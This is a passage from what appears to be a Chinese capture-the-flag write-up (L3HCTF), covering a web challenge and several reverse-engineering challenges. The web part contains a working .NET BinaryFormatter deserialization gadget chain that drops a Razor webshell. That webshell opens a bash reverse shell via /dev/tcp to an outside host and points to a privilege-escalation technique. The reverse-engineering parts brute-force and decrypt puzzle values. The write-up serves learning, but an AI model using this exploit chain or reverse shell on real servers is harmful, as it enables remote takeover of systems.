6XG4iICsgZXguVG9TdHJpbmcoKTsKICAgIH0KfQo8cHJlPkBvdXRwdXQ8L3ByZT4=";
        byte[] bytes = Convert.FromBase64String(base64String);
        string payload = System.Text.Encoding.UTF8.GetString(bytes);
        var invokerTransformer0 = new InvokeTransformer
        {
            methodName = "SetMyClass",
            methodParam = new object[] { "System.IO.File, System.IO.FileSystem" },
            typeName = "ClassLibrary1.CompareImpl`1[System.String], ClassLibrary1"
        };
        var invokerTransformer1 = new InvokeTransformer
        {
            methodName = "SetMyMethod",
            methodParam = new object[] { "WriteAllText" },
            typeName = "ClassLibrary1.CompareImpl`1[System.String], ClassLibrary1"
        };
        var invokeTransformer = new InvokeTransformer
        {
            methodName = "MyCompare",
            methodParam = new object[] { "/app/Looking/My/Eyes.cshtml",payload, "w1ndc0me" },
            typeName = "ClassLibrary1.CompareImpl`1[System.String], ClassLibrary1"
        };

        var chainedTransformer = new ChainedTransformer();
        SetPrivateField(chainedTransformer, "_transformers", new InvokeTransformer[] { invokerTransformer0, invokerTransformer1, invokeTransformer });

        var indirectBean = new IndirectBean();
        SetPrivateField(indirectBean, "_transform", chainedTransformer);
        SetPrivateField(indirectBean, "bean", new CompareImpl<string>());

        var entryPointBean = new DirectBean();
        SetPrivateField(entryPointBean, "s", indirectBean);
        var formatter = new BinaryFormatter();
        using (var stream = new MemoryStream())
        {
            formatter.Serialize(stream, entryPointBean);
            return Convert.ToBase64String(stream.ToArray());
        }
    }

    private static void SetPrivateField(object obj, string fieldName, object value)
    {
        Type type = obj.GetType();
        BindingFlags flags = BindingFlags.NonPublic | BindingFlags.Instance;
        FieldInfo field = type.GetField(fieldName, flags);
        field.SetValue(obj, value);
    }
}

需要注意这里利用的是cshtml,由于系统是编译之后的,所以需要反射调用恶意dll

@{
    Layout = null;
    string output = "";
    try
    {
        var processAssembly = System.Reflection.Assembly.Load("System.Diagnostics.Process");
        var psiType = processAssembly.GetType("System.Diagnostics.ProcessStartInfo");
        var processType = processAssembly.GetType("System.Diagnostics.Process");
        var psi = System.Activator.CreateInstance(psiType);
        psiType.GetProperty("FileName").SetValue(psi, "bash");
        psiType.GetProperty("Arguments").SetValue(psi, "-c \"bash -i >& /dev/tcp/ip/port 0>&1\"");
        psiType.GetProperty("RedirectStandardOutput").SetValue(psi, true);
        psiType.GetProperty("RedirectStandardError").SetValue(psi, true);
        psiType.GetProperty("UseShellExecute").SetValue(psi, false);
        psiType.GetProperty("CreateNoWindow").SetValue(psi, true);
        var startMethod = processType.GetMethod("Start", new[] { psiType });
        var process = startMethod.Invoke(null, new object[] { psi });
        var stdOutProperty = processType.GetProperty("StandardOutput");
        var stdOutReader = (System.IO.StreamReader)stdOutProperty.GetValue(process);
        output = stdOutReader.ReadToEnd();
        var stdErrProperty = processType.GetProperty("StandardError");
        var stdErrReader = (System.IO.StreamReader)stdErrProperty.GetValue(process);
        string errorOutput = stdErrReader.ReadToEnd();

        var waitForExitMethod = processType.GetMethod("WaitForExit", System.Type.EmptyTypes);
        waitForExitMethod.Invoke(process, null);

        if (!string.IsNullOrWhiteSpace(errorOutput))
        {
            output += "\n[stderr]\n" + errorOutput;
        }
    }
    catch (Exception ex)
    {
        output = "通过反射执行命令时出错:\n" + ex.ToString();
    }
}
<pre>@output</pre>

出题人还设置了一个坑点,在反序列化的时候过滤了,使用了return null这样是没用的。

img

rce之后,需要用cmp进行提权。

https://gtfobins.github.io/gtfobins/cmp/

Reverse

TemporalParadox

main开头有花指令,nop掉跳转jmp即可反编译。动态调试跑一轮就知道各个函数的功能

__int64 __fastcall sub_140001D05(__int64 a1, __int64 a2)
{
  // [COLLAPSED LOCAL DECLARATIONS. PRESS NUMPAD "+" TO EXPAND]

  sub_140002180(a1, a2);
  sub_14000A510(a1, a2, v2, (unsigned int)v53, v3, v4);
  v58 = get_time(a1, a2, v5, 0, v6, v7);
  if ( v58 > 1751990400 && v58 <= 1752052051 )
  {
    gen_query(a1, a2, v8, (unsigned int)v49, v9, v10);
    v57 = &v54;
    v12 = std::string::c_str(a1, a2, v11, v49);
    v15 = md5(a1, a2, v12, (unsigned int)v53, v13, v14, v41);
    sub_14000A820(a1, a2, v15, (unsigned int)v50, (unsigned int)&v54, v16, v42, v47);
    sub_14000A6E0(a1, a2, v17, (unsigned int)&v54, v18, v19, v43);
    v20 = std::operator<<<std::char_traits<char>>(a1, a2, "query: ", &std::cout);
    v21 = std::operator<<<char>(a1, a2, v49, v20);
    std::ostream::operator<<(a1, a2, &std::endl<char,std::char_traits<char>>, v21);
    v22 = std::operator<<<char>(a1, a2, v50, &std::cout);
    std::ostream::operator<<(a1, a2, &std::endl<char,std::char_traits<char>>, v22);
    std::string::~string(a1, a2, v23, v50);
    std::string::~string(a1, a2, v24, v49);
  }
  std::string::basic_string(a1, a2, v8, v52);
  v25 = std::operator<<<std::char_traits<char>>(a1, a2, "Please input the right query string I used:", &std::cout);
  std::ostream::operator<<(a1, a2, &std::endl<char,std::char_traits<char>>, v25);
  std::operator>><char>(a1, a2, v52, &std::cin);
  v56 = &v55;
  v27 = std::string::c_str(a1, a2, v26, v52);
  v30 = md5(a1, a2, v27, (unsigned int)v53, v28, v29, v41);
  sub_14000A820(a1, a2, v30, (unsigned int)v51, (unsigned int)&v55, v31, v44, v47);
  sub_14000A6E0(a1, a2, v32, (unsigned int)&v55, v33, v34, v45);
  if ( (unsigned __int8)sub_14000A8E0(
                          a1,
                          a2,
                          (unsigned int)"8a2fc1e9e2830c37f8a7f51572a640aa",
                          (unsigned int)v51,
                          v35,
                          v36,
                          v46,
                          v48) )
    v37 = std::operator<<<std::char_traits<char>>(a1, a2, "Congratulations!", &std::cout);
  else
    v37 = std::operator<<<std::char_traits<char>>(a1, a2, "Wrong!", &std::cout);
  std::ostream::operator<<(a1, a2, &std::endl<char,std::char_traits<char>>, v37);
  std::string::~string(a1, a2, v38, v51);
  std::string::~string(a1, a2, v39, v52);
  return 0LL;
}

可以看出我们需要得到正确的query并满足query md5加密后的值等于8a2fc1e9e2830c37f8a7f51572a640aa;if里是对时间的判断显然是告诉我们要爆破的话时间范围是(1751990400,1752052051)

进入gen_query可以看到各个参数的生成,可以看到两种query,一种是满足pow_like函数的判断则没有a、b、x、y参数,但多了cipher参数;get_rand是模拟生成随机数

__int64 __fastcall sub_140001963(
        __time64_t *a1,
        __int64 a2,
        int a3,
        __int64 a4,
        int a5,
        int a6,
        double a7,
        double a8,
        double a9,
        double a10)
{
  // [COLLAPSED LOCAL DECLARATIONS. PRESS NUMPAD "+" TO EXPAND]

  sub_140001518((_DWORD)a1, a2, a3, (unsigned int)v51, a5, a6);
  time = get_time(a1);
  sub_1400014B5((_DWORD)a1, a2, v10, time, v11, v12);
  v58 = 0;
  v57 = 0;
  v56 = 0;
  v55 = 0;
  for ( i = 0; i < (int)gen_rand(); ++i )
  {
    v58 = gen_rand();
    v57 = gen_rand();
    v56 = gen_rand();
    v55 = gen_rand();
  }
  v52 = gen_rand();
  std::basic_stringstream<char,std::char_traits<char>,std::allocator<char>>::basic_stringstream(a1, a2, v13, v49);
  v14 = (double)dword_14000B0E0;
  v15 = (double)(int)(v58 | v56);
  v18 = v14 * pow_like(v15, 2.0, v15, a10, v16, v17, (double)dword_14000B0E0);
  v19 = (double)dword_14000B0E4;
  if ( v18 == pow_like((double)(int)(v57 | v55), 2.0, v15, (double)(int)(v57 | v55), v20, v21, v18) * v19 )
  {
    v22 = std::operator<<<std::char_traits<char>>(a1, a2, "salt=", v50);
    v23 = std::operator<<<char>(a1, a2, v51, v22);
    v24 = std::operator<<<std::char_traits<char>>(a1, a2, "&t=", v23);
    v25 = std::ostream::operator<<(a1, a2, time, v24);
    v26 = std::operator<<<std::char_traits<char>>(a1, a2, "&r=", v25);
    v27 = std::ostream::operator<<(a1, a2, v52, v26);
    v28 = std::operator<<<std::char_traits<char>>(a1, a2, "&cipher=", v27);
    v31 = sub_14000184D((_DWORD)a1, a2, time, v52, v29, v30, v48);
    std::ostream::operator<<(a1, a2, v31, v28);
  }
  else
  {
    v32 = std::operator<<<std::char_traits<char>>(a1, a2, "salt=", v50);
    v33 = std::operator<<<char>(a1, a2, v51, v32);
    v34 = std::operator<<<std::char_traits<char>>(a1, a2, "&t=", v33);
    v35 = std::ostream::operator<<(a1, a2, time, v34);
    v36 = std::operator<<<std::char_traits<char>>(a1, a2, "&r=", v35);
    v37 = std::ostream::operator<<(a1, a2, v52, v36);
    v38 = std::operator<<<std::char_traits<char>>(a1, a2, "&a=", v37);
    v39 = std::ostream::operator<<(a1, a2, v58, v38);
    v40 = std::operator<<<std::char_traits<char>>(a1, a2, "&b=", v39);
    v41 = std::ostream::operator<<(a1, a2, v57, v40);
    v42 = std::operator<<<std::char_traits<char>>(a1, a2, "&x=", v41);
    v43 = std::ostream::operator<<(a1, a2, v56, v42);
    v44 = std::operator<<<std::char_traits<char>>(a1, a2, "&y=", v43);
    std::ostream::operator<<(a1, a2, v55, v44);
  }
  std::basic_stringstream<char,std::char_traits<char>,std::allocator<char>>::str(a1, a2, v49, a4);
  std::basic_stringstream<char,std::char_traits<char>,std::allocator<char>>::~basic_stringstream(a1, a2, v45, v49);
  std::string::~string(a1, a2, v46, v51);
  return a4;
}
__int64 gen_rand()
{
  unsigned int v1; // [rsp+Ch] [rbp-4h]

  v1 = (((dword_14000B040 << 13) ^ (unsigned int)dword_14000B040) >> 17) ^ (dword_14000B040 << 13) ^ dword_14000B040;
  dword_14000B040 = (32 * v1) ^ v1;
  return dword_14000B040 & 0x7FFFFFFF;
}
__int64 __fastcall sub_1400014B5(_DWORD a1, _DWORD a2, _DWORD a3, unsigned int a4)
{
  __int64 result; // rax
  unsigned int v5; // [rsp+10h] [rbp+10h]

  v5 = a4;
  if ( !a4 )
    v5 = 1;
  result = v5;
  dword_14000B040 = v5;
  return result;
}

调试可以发现dword_14000B040初始值为get_time返回的time,此外salt值固定为tlkyeueq7fej8vtzitt26yl24kswrgm5,因此a、b、x、y实际上都和t相关

因此首先我写了个python脚本来爆破(c不擅长,部分函数如sub_14000184D直接让gemini分析生成模拟代码,但事后发现其实没用到)

import math
from hashlib import md5, sha1

def gen(dword):
    v1 = ((((dword << 13)&0xffffffff) ^ dword) >> 17) ^ ((dword << 13)&0xffffffff) ^ dword
    dword = (((32 * v1)&0xffffffff) ^ v1) &0xffffffff
    return dword, dword & 0x7FFFFFFF


S_BOX_TABLE_7FF65E2BC020 = [0x0000000E, 0x00000004, 0x0000000D, 0x00000001, 0x00000002, 0x0000000F, 0x0000000B, 0x00000008, 0x00000003, 0x0000000A, 0x00000006, 0x0000000C, 0x00000005, 0x00000009, 0x00000000, 0x00000007]

P_BOX_TABLE_7FF65E2BC0A0 = [0x00000001, 0x00000005, 0x00000009, 0x0000000D, 0x00000002, 0x00000006, 0x0000000A, 0x0000000E, 0x00000003, 0x00000007, 0x0000000B, 0x0000000F, 0x00000004, 0x00000008, 0x0000000C, 0x00000010]


def to_u32(n):
    """将一个数转换为32位无符号整数"""
    return n & 0xFFFFFFFF


def to_s32(n):
    """将一个数转换为32位有符号整数"""
    n = n & 0xFFFFFFFF
    if n & 0x80000000:
        return n - 0x100000000
    return n


def generate_salt(dword_array):
    """
    对应 C++ 函数 sub_7FF65E2B1518
    根据硬编码的 dword 数组生成一个32字符的 salt 字符串。
    """
    if not dword_array:
        raise ValueError("错误: dword_7FF65E2BB060 数组为空,请填写数据。")

    s = []
    for i in range(32):
        v9 = dword_array[i]
        v10 = 0

        # C++ int 是32位的,Python int 是无限精度的,需要模拟32位行为
        v9_s32 = to_s32(v9)

        if v9_s32 >= 0:
            v10 = v9_s32 / 3 + 48
        elif v9_s32 >= -728:
            # ~v9 在C++中是对32位整数按位取反
            v10 = ~v9_s32 & 0xFFFFFFFF
        else:
            # 这里的 sub_7FF65E2B31D0 / 1.0986... 被我们分析为 log3
            # math.log(x) 是 ln(x),math.log(3) 是 ln(3)
            # log3(x) = ln(x) / ln(3)
            try:
                log_val = math.log(-v9_s32) / math.log(3)
                v10 = log_val - 6.0 + 48.0
            except ValueError:
                # 如果 -v9_s32 <= 0,log会出错,这里设置一个默认值
                v10 = 48  # '0'

        # 将计算结果转换为字符
        s.append(chr(int(v10) & 0xFF))

    return "".join(s)


def s_box_transform(state, s_box_table):
    """
    对应 C++ 函数 sub_7FF65E2B16C1 (S-盒替换)
    """
    if not s_box_table:
        raise ValueError("错误: S_BOX_TABLE_7FF65E2BC020 数组为空,请填写数据。")

    s = to_u32(state)
    for _ in range(4):
        # 提取高4位作为索引
        index = (s >> 12) & 0xF
        sbox_val = s_box_table[index]
        # (16 * s) 等价于 (s << 4)
        s = sbox_val | (s << 4)
    return to_u32(s)


def p_box_transform(state, p_box_table):
    """
    对应 C++ 函数 sub_7FF65E2B1785 (P-盒置换)
    """
    if not p_box_table:
        raise ValueError("错误: P_BOX_TABLE_7FF65E2BC0A0 数组为空,请填写数据。")

    s = to_u32(state)
    new_state = 0
    for i in range(16):
        # 获取源比特的位置 (C数组是1-based, Python是0-based)
        source_bit_pos = p_box_table[i] - 1
        # 检查源比特是否为1
        if (s >> source_bit_pos) & 1:
            # 如果是1,则在目标位置i设置比特
            new_state |= (1 << i)
    return new_state


def round_function(state, s_box_table, p_box_table):
    """
    对应 C++ 函数 sub_7FF65E2B17F7 (轮函数)
    """
    state = s_box_transform(state, s_box_table)
    state = p_box_transform(state, p_box_table)
    return state


def generate_round_key(key, round_num):
    """
    对应 C++ 函数 sub_7FF65E2B16A0 (轮密钥生成)
    """
    key_u32 = to_u32(key)
    shift_amount = 4 * (round_num - 1)
    # C++ 代码中 (unsigned int) >> 是逻辑右移
    shifted_key = key_u32 << shift_amount
    return to_u32(shifted_key) >> 16


def encrypt_token(timestamp, r_key, s_box_table, p_box_table):
    """
    对应 C++ 函数 sub_7FF65E2B184D (加密主函数)
    """
    state = to_u32(timestamp)

    # 循环 3 轮
    for i in range(1, 4):
        round_key = generate_round_key(r_key, i)
        state ^= round_key
        state = round_function(state, s_box_table, p_box_table)

    # 循环后的第4步
    round_key_4 = generate_round_key(r_key, 4)
    state ^= round_key_4
    state = s_box_transform(state, s_box_table)

    # 最终返回前的第5步
    round_key_5 = generate_round_key(r_key, 5)
    final_state = state ^ round_key_5

    return to_u32(final_state)


for t in range(1751990400, 1752052052):
    dword = t
    dword, ret = gen(dword)
    cnt = ret
    i = 0
    while i < cnt:
        dword, ret = gen(dword)
        a = ret
        dword, ret = gen(dword)
        b = ret
        dword, ret = gen(dword)
        x = ret
        dword, ret = gen(dword)
        y = ret
        dword, ret = gen(dword)
        cnt = ret
        i+=1
    dword, ret = gen(dword)
    r = ret
    # pow(a | x, 2)
    val1 = math.pow(float(to_s32(a) | to_s32(x)), 2.0)
    # pow(b | y, 2)
    val2 = math.pow(float(to_s32(b) | to_s32(y)), 2.0)

    if math.isclose(0x61 * val1, 0xb * val2):
        cipher = encrypt_token(
            t, r,
            S_BOX_TABLE_7FF65E2BC020,
            P_BOX_TABLE_7FF65E2BC0A0
        )
        query = f"salt=tlkyeueq7fej8vtzitt26yl24kswrgm5&t={t}&r={r}&cipher={cipher}"
    else:
        query = f"salt=tlkyeueq7fej8vtzitt26yl24kswrgm5&t={t}&r={r}&a={a}&b={b}&x={x}&y={y}"
    print(t, query)
    if md5(query.encode()).hexdigest() == "8a2fc1e9e2830c37f8a7f51572a640aa":
        print(sha1(query.encode()).hexdigest())

但python爆破速度非常慢,直接让gemini转为c语言脚本

#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <math.h>
// 引入 OpenSSL 库头文件
#include <openssl/md5.h>
#include <openssl/sha.h>


// 伪随机数生成器,对应 python 的 gen 函数
// 使用指针来返回两个值
void gen(uint32_t* dword, uint32_t* ret) {
    uint32_t v1 = ((((*dword << 13) ^ *dword) >> 17) ^ ((*dword << 13) ^ *dword));
    *dword = (32 * v1) ^ v1;
    *ret = *dword & 0x7FFFFFFF;
}

// 辅助函数:将二进制哈希值转换为十六进制字符串
void bytes_to_hex(const unsigned char* bytes, char* hex_string, size_t len) {
    for (size_t i = 0; i < len; ++i) {
        sprintf(hex_string + (i * 2), "%02x", bytes[i]);
    }
    hex_string[len * 2] = '\0';
}


int main() {
    const char* target_md5 = "8a2fc1e9e2830c37f8a7f51572a640aa";

    for (uint32_t t = 1751990400; t < 1752052052; ++t) {
        uint32_t dword = t;
        uint32_t ret;

        // 初始 gen 调用
        gen(&dword, &ret);
        uint32_t cnt = ret;

        uint32_t a = 0, b = 0, x = 0, y = 0;
        int i = 0;
        while (i < cnt) {
            gen(&dword, &a);
            gen(&dword, &b);
            gen(&dword, &x);
            gen(&dword, &y);
            gen(&dword, &cnt);
            i++;
        }

        uint32_t r;
        gen(&dword, &r);
        // C中需要更大的缓冲区来格式化字符串
        char query[512];
        snprintf(query, sizeof(query), "salt=tlkyeueq7fej8vtzitt26yl24kswrgm5&t=%u&r=%u&a=%u&b=%u&x=%u&y=%u", t, r, a, b, x, y);
        printf("%u %s\n", t, query);
        fflush(stdout); // 强制刷新输出缓冲区,确保立即看到打印

        // 计算 MD5
        unsigned char md5_result[MD5_DIGEST_LENGTH];
        MD5((unsigned char*)query, strlen(query), md5_result);

        char md5_hex[MD5_DIGEST_LENGTH * 2 + 1];
        bytes_to_hex(md5_result, md5_hex, MD5_DIGEST_LENGTH);
        
        // 比较 MD5
        if (strcmp(md5_hex, target_md5) == 0) {
            printf("Found MD5 match!\n");
            // 计算并打印 SHA1
            unsigned char sha1_result[SHA_DIGEST_LENGTH];
            SHA1((unsigned char*)query, strlen(query), sha1_result);
            
            char sha1_hex[SHA_DIGEST_LENGTH * 2 + 1];
            bytes_to_hex(sha1_result, sha1_hex, SHA_DIGEST_LENGTH);
            
            printf("SHA1: %s\n", sha1_hex);
            break; // 找到结果,退出循环
        }
    }

    return 0;
} 

gcc ./paradox_solve.c -o solve -lssl -lcrypto -lm

img

得到正确query的sha1结果

ez_android

img

TauriActivity特征,需要去解包静态资源,本来想着直接Hook Webview直接调试的,结果不知道为啥一hook就进不去程序,无奈只能老老实实解包看看咋个事情

img

首先看静态资源表,这里分别是name nameLen contentPtr contentSize,那么就解压size就行

翻了一下去年L3H的脚本居然还能用

解包都是这个脚本,地址的话就是压缩内容的范围

import os

addr = 0x140371D3A # 这里的地址是压缩内容的地址
endadd = 0x1403772A8-1
dump = [0] * (endadd - addr)

for i in range(addr, endadd):
    dump[i - addr] = get_wide_byte(i)

file_path = r'D:\算法训练\一堆比赛\L3H\dump.br'

with open(file_path, 'wb') as file:
    file.write(bytes(dump))

print(f"Dump written to {file_path}")
import brotli

compressed_file_path = "dump.br"
output_file_path = "dumpp"


content = open(compressed_file_path, "rb").read()
print(f"Compressed file size: {len(content)} bytes")


def try_decompress(data):
    try:
        return brotli.decompress(data)
    except brotli.error:
        return None


for i in range(len(content), 0, -1):
    decompressed = try_decompress(content[:i])
    if decompressed:
        break


if decompressed:
    open(output_file_path, "wb").write(decompressed)
    print(f"Decompressed content written to {output_file_path}")
else:
    print("Failed to decompress the content.")

解压缩后看index

img

没啥东西,单纯就一加载js

img

js和这个rust后端交互,后端的接口是greet,并且前端未作加密,我们可以直接逆后端。

那既然知道了greet就直接搜索greet就可

img

img

逻辑清晰明了

解密代码如下:

xor = [0x70, 0x6F, 0x69, 0x73, 0x6F, 0x6E, 0x65, 0x64, 0x20, 0x77, 0x69, 0x6E, 0x64, 0x6F, 0x77, 0x20, 0x72, 0x65, 0x73, 0x6F, 0x75, 0x72, 0x63, 0x65, 0x73, 0x20, 0x74, 0x61, 0x62, 0x6C, 0x65, 0x55, 0x6E, 0x72, 0x65, 0x61, 0x63, 0x68, 0x61, 0x62, 0x6C, 0x65, 0x57, 0x65, 0x62, 0x76, 0x69, 0x65, 0x77, 0x49, 0x6E, 0x76, 0x6F, 0x6B, 0x65, 0x52, 0x65, 0x6A, 0x65, 0x63, 0x74, 0x65, 0x64, 0x43, 0x61, 0x6E, 0x6E, 0x6F, 0x74, 0x44, 0x65, 0x73, 0x65, 0x72, 0x69, 0x61, 0x6C, 0x69, 0x7A, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6F, 0x6E, 0x73, 0x65, 0x43, 0x61, 0x6E, 0x6E, 0x6F, 0x74, 0x53, 0x65, 0x72, 0x69, 0x61, 0x6C, 0x69, 0x7A, 0x65, 0x50, 0x61, 0x79, 0x6C, 0x6F, 0x61, 0x64, 0x45, 0x72, 0x72, 0x6F, 0x72, 0x20, 0x64, 0x65, 0x73, 0x65, 0x72, 0x69, 0x61, 0x6C, 0x69, 0x7A, 0x69, 0x6E, 0x67, 0x20, 0x27, 0x70, 0x6C, 0x75, 0x67, 0x69, 0x6E, 0x73, 0x2E, 0x27, 0x20, 0x77, 0x69, 0x74, 0x68, 0x69, 0x6E, 0x20, 0x79, 0x6F, 0x75, 0x72, 0x20, 0x54, 0x61, 0x75, 0x72, 0x69, 0x20, 0x63, 0x6F, 0x6E, 0x66, 0x69, 0x67, 0x75, 0x72, 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x3A, 0x20, 0x73, 0x72, 0x63, 0x5C, 0x6C, 0x69, 0x62, 0x2E, 0x72, 0x73, 0x64, 0x47, 0x68, 0x70, 0x63, 0x32, 0x6C, 0x7A, 0x59, 0x57, 0x74, 0x6C, 0x65, 0x51, 0x57, 0x72, 0x6F, 0x6E, 0x67, 0x20, 0x61, 0x6E, 0x73, 0x77, 0x65, 0x72, 0x61, 0x74, 0x74, 0x65, 0x6D, 0x70, 0x74, 0x20, 0x74, 0x6F, 0x20, 0x75, 0x6E, 0x77, 0x69, 0x6E, 0x64, 0x20, 0x6F, 0x75, 0x74, 0x20, 0x6F, 0x66, 0x20, 0x60, 0x72, 0x75, 0x73, 0x74, 0x60, 0x20, 0x77, 0x69, 0x74, 0x68, 0x20, 0x65, 0x72, 0x72, 0x3A, 0x20, 0x75, 0x6E, 0x61, 0x62, 0x6C, 0x65, 0x20, 0x74, 0x6F, 0x20, 0x63, 0x72, 0x65, 0x61, 0x74, 0x65, 0x20, 0x74, 0x68, 0x72, 0x65, 0x61, 0x64, 0x20, 0x77, 0x69, 0x74, 0x68, 0x20, 0x38, 0x4D, 0x69, 0x42, 0x20, 0x73, 0x74, 0x61, 0x63, 0x6B, 0x65, 0x72, 0x72, 0x6F, 0x72, 0x20, 0x77, 0x68, 0x69, 0x6C, 0x65, 0x20, 0x72, 0x75, 0x6E, 0x6E, 0x69, 0x6E, 0x67, 0x20, 0x74, 0x61, 0x75, 0x72, 0x69, 0x20, 0x61, 0x70, 0x70, 0x6C, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x74, 0x68, 0x65, 0x20, 0x67, 0x65, 0x6E, 0x65, 0x72, 0x61, 0x74, 0x65, 0x64, 0x20, 0x54, 0x61, 0x75, 0x72, 0x69, 0x20, 0x60, 0x43, 0x6F, 0x6E, 0x74, 0x65, 0x78, 0x74, 0x60, 0x20, 0x70, 0x61, 0x6E, 0x69, 0x63, 0x6B, 0x65, 0x64, 0x20, 0x64, 0x75, 0x72, 0x69, 0x6E, 0x67, 0x20, 0x63, 0x72, 0x65, 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x0A, 0x09, 0x00]
s = [0xc, 0x15, 0x25, 0xa0, 0x63, 0x96, 0x40, 0x0a, 0x5c, 0x16, 0x65, 0x40, 0x29, 0x06, 0xe1, 0x1f, 0x90, 0x72, 0x2c, 0xe, 0x4c, 0xa, 0x2, 0xfc]

import struct


def solve():
    """
    根据逆向分析实现的解密函数
    """

    ANON_DATA = xor

    # 这是加密后,程序期望看到的正确结果(27字节的密文)
    # 我们从伪代码中的四次比较中构造出这个目标密文

    # v8[0:8] == 0x0A409663A025150C
    target_qword1 = struct.pack('<Q', 0x0A409663A025150C)

    # v8[8:16] == 0x1FE106294065165C
    target_qword2 = struct.pack('<Q', 0x1FE106294065165C)

    # v8[16:24] == 0xFC020A4C0E2C7290
    target_qword3 = struct.pack('<Q', 0xFC020A4C0E2C7290)

    # v8[19:27] == *(_QWORD *)((char *)v19 + 3)
    # v19 的内容是 qword3 + "O2*" = 90 72 2C 0E 4C 0A 02 FC 4F 32 2A
    # v19[3:] 的内容是 0E 4C 0A 02 FC 4F 32 2A
    target_qword4 = struct.pack('<Q', 0x2A324FFC020A4C0E)

    # 组合成完整的27字节目标密文
    encrypted_target = bytearray(27)
    encrypted_target[0:8] = target_qword1
    encrypted_target[8:16] = target_qword2
    encrypted_target[16:24] = target_qword3
    encrypted_target[19:27] = target_qword4

    print(f"[+] 目标密文 (Hex): {encrypted_target.hex()}")

    # ========================== 解密过程 ==========================

    original_bytes = bytearray(27)  # 用于存放解密后的结果

    # 遍历每一个字节,执行逆向操作
    for i in range(27):
        # --- 1. 重新计算加密时使用的索引和位移量 ---
        v10 = i % 14
        some_index = (2 * i + 1) % 14
        shift = ANON_DATA[(i + 3) % 14 + 184] & 7

        # --- 2. 逆转加密的第3步 (最终异或) ---
        rolled_v11 = encrypted_target[i] ^ ANON_DATA[(i + 4) % 14 + 184]

        # --- 3. 逆转加密的第2步 (循环右移 ROR) ---
        v11 = ((rolled_v11 >> shift) | (rolled_v11 << (8 - shift))) & 0xFF

        # --- 4. 逆转加密的第1步 (减法和异或) ---
        term = (v11 - ANON_DATA[some_index + 184]) & 0xFF
        original_byte = term ^ ANON_DATA[v10 + 184]

        original_bytes[i] = original_byte

    return original_bytes


# --- 执行解密 ---
if __name__ == "__main__":
    print("正在执行解密算法...")
    print("警告:解密所需关键数据 `ANON_DATA` 为占位符,结果无效!")
    print("请务必从程序中提取真实数据并替换 `ANON_DATA`。\n")

    try:
        flag = solve()
        print("-" * 40)
        print(f"[!] 解密出的字节 (Hex): {flag.hex()}")
        # 尝试用UTF-8解码,如果失败则说明结果不是可打印字符
        try:
            print(f"[SUCCESS] 解密出的Flag: {flag.decode('utf-8')}")
        except UnicodeDecodeError:
            print("[INFO] 解密结果不是有效的UTF-8字符串。")
    except Exception as e:
        print(f"[ERROR] 解密过程中发生错误: {e}")

终焉之门

两个代码块实现了对于隐藏代码的加密,有趣的是base64解多层是

flag is L3HCTF{…….

wait what? how could it be so easy?

__int64 __fastcall sub_7FF65DB11450(_BYTE *a1, __int64 a2)
{
  unsigned __int64 v3; // rcx
  __int64 result; // rax

  if ( a2 != 1 )
  {
    *a1 ^= 0x56u;
    v3 = 1;
    if ( a2 != 2 )
    {
      do
      {
        result = (unsigned __int8)aVm0xd1ntuxlwa1[v3 % 0x1CC];
        a1[v3++] ^= result;
      }
      while ( v3 != a2 - 1 );
    }
  }
  return result;
}

写个脚本进行解密

s = [0x75, 0x1B, 0x55, 0x0A, 0x17, 0x58, 0x21, 0x1A, 0x75, 0x6C, 0x5F, 0x67, 0x41, 0x52, 0x1F, 0x22, 0x33, 0x66, 0x6E, 0x03, 0x37, 0x3F, 0x03, 0x20, 0x27, 0x44, 0x22, 0x05, 0x35, 0x0D, 0x36, 0x26, 0x25, 0x5B, 0x4B, 0x22, 0x09, 0x13, 0x11, 0x65, 0x45, 0x75, 0x6E, 0x41, 0x3E, 0x39, 0x3A, 0x16, 0x35, 0x08, 0x0B, 0x08, 0x1E, 0x33, 0x19, 0x0A, 0x41, 0x7B, 0x44, 0x58, 0x7B, 0x66, 0x2A, 0x5C, 0x35, 0x0C, 0x14, 0x34, 0x20, 0x58, 0x33, 0x1D, 0x0B, 0x14, 0x6E, 0x65, 0x42, 0x77, 0x59, 0x78, 0x33, 0x39, 0x4F, 0x4C, 0x09, 0x27, 0x23, 0x1C, 0x20, 0x1F, 0x4C, 0x27, 0x39, 0x0F, 0x05, 0x06, 0x66, 0x6B, 0x54, 0x03, 0x30, 0x38, 0x2E, 0x1D, 0x3B, 0x0C, 0x19, 0x67, 0x42, 0x68, 0x7B, 0x6C, 0x38, 0x23, 0x3C, 0x07, 0x06, 0x1E, 0x44, 0x3B, 0x14, 0x05, 0x21, 0x2A, 0x33, 0x1D, 0x62, 0x79, 0x2D, 0x4D, 0x59, 0x5F, 0x26, 0x11, 0x3A, 0x09, 0x30, 0x04, 0x00, 0x3D, 0x11, 0x1D, 0x17, 0x6D, 0x76, 0x13, 0x4B, 0x5D, 0x39, 0x27, 0x2B, 0x3A, 0x27, 0x19, 0x5C, 0x19, 0x16, 0x23, 0x66, 0x49, 0x67, 0x47, 0x75, 0x57, 0x3C, 0x5E, 0x55, 0x20, 0x3F, 0x3F, 0x44, 0x6A, 0x41, 0x00, 0x78, 0x57, 0x34, 0x1F, 0x20, 0x07, 0x32, 0x34, 0x6E, 0x31, 0x0D, 0x05, 0x25, 0x07, 0x21, 0x46, 0x1B, 0x77, 0x2D, 0x4D, 0x5C, 0x19, 0x22, 0x12, 0x2D, 0x1C, 0x0A, 0x0F, 0x39, 0x3D, 0x11, 0x32, 0x03, 0x28, 0x08, 0x56, 0x58, 0x0A, 0x76, 0x4C, 0x3D, 0x19, 0x23, 0x28, 0x4C, 0x21, 0x4A, 0x26, 0x22, 0x51, 0x6E, 0x7B, 0x40, 0x6F, 0x77, 0x24, 0x30, 0x14, 0x31, 0x04, 0x06, 0x3D, 0x45, 0x56, 0x7A, 0x5B, 0x70, 0x5A, 0x24, 0x14, 0x05, 0x30, 0x01, 0x06, 0x42, 0x05, 0x27, 0x28, 0x3A, 0x0E, 0x02, 0x79, 0x76, 0x11, 0x21, 0x4B, 0x24, 0x29, 0x25, 0x59, 0x36, 0x07, 0x3E, 0x3E, 0x07, 0x35, 0x33, 0x42, 0x63, 0x6D, 0x5F, 0x73, 0x2B, 0x6D, 0x50, 0x1D, 0x30, 0x17, 0x0B, 0x26, 0x39, 0x7E, 0x03, 0x3D, 0x30, 0x62, 